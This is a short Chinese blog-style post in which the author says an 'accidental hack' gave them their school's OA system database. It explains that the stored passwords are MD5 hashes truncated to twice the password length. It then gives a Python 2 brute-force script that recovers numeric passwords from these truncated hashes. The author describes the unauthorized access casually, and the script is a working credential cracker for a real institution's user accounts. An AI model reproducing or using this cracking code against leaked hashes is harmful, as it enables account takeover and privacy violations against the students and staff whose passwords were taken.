一次偶然的hacking让我拿到了学校的OA数据库,导出为xls后发现里面的密码全是加密的。看似MD5加密但发现密文长短不一,于是我用md5加密了123123(OA的默认密码)作为样例来分析OA的算法。
OA的算法是这样的
明文 123123
正常的MD5(32位) 4297f44b13955235245b2497399d7a93
学校的MD5畸形加密(12位) 4297f44b1395
经过多组测试发现,OA算法是 密文 = 取前明文长度的2倍位(32位MD5加密(明文))
知道算法了就能写一个python脚本来逆出纯数字的密码了(不以时间为代价,理论上KO一切纯数字密码)
import hashlib pwd1 = raw_input() p = 0 length = len(pwd1) / 2 for num in range(0,10 ** length): i = length - len(str(num)) pwd2 = '' while i > 0: pwd2 = pwd2 + "0" i = i -1 pwd2 = pwd2 + str(num) print pwd2 m = hashlib.md5() m.update(pwd2) pwd = m.hexdigest() pwd = pwd[:length * 2] print pwd if pwd == pwd1: p = 1 break if p == 1: print 'Cracked successfully','Password',pwd2 else: print 'Cracked Failed'
尽管学校的OA为了密文不被网上那些解密引擎方便的解开采用畸形的MD5加密方式,但是同时也暴露了明文密码本身的长度
,这就是逆向者的突破口。